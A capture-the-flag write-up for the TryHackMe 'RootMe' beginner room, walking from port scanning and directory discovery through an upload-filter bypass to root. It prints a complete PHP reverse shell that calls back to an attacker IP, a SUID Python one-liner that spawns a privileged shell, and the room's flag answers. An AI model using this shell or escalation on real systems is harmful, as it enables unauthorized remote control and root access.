TryHackMe RootMe Writeup: Upload Bypass to Python SUID Privilege Escalation

This writeup is adapted from my original TryHackMe notes for RootMe. I kept the room flow close to the source Markdown and cleaned up GitBook formatting so it reads properly on the website.

Description

A ctf for beginners, can you root me?

Answer the questions below

Scan the machine, how many ports are open?

Nmap

nmap -A -Pn 10.10.204.229

ANS: 2

What version of Apache is running?

ANS: 2.4.29

What service is running on port 22?

ANS: ssh

What is the hidden directory?

Directory Enumeration

dirsearch -u http://10.10.204.229

ANS: /panel/

Find a form to upload and get a reverse shell, and find the flag.

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.4.67.48';
$port = 4445;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

They block a .php that I change the extension to bypass it using .php5

mv hi.php hi.php5

find / -type f -name user.txt

ANS: THM{y0u_g0t_a_sh3ll}

Search for files with SUID permission, which file is weird?

Exploitation

find / -type f -user root -perm -4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount

ANS: /usr/bin/python

root.txt

python -c 'import os;os.execl("/bin/sh","sh","-p")'

ANS: THM{pr1v1l3g3_3sc4l4t10n}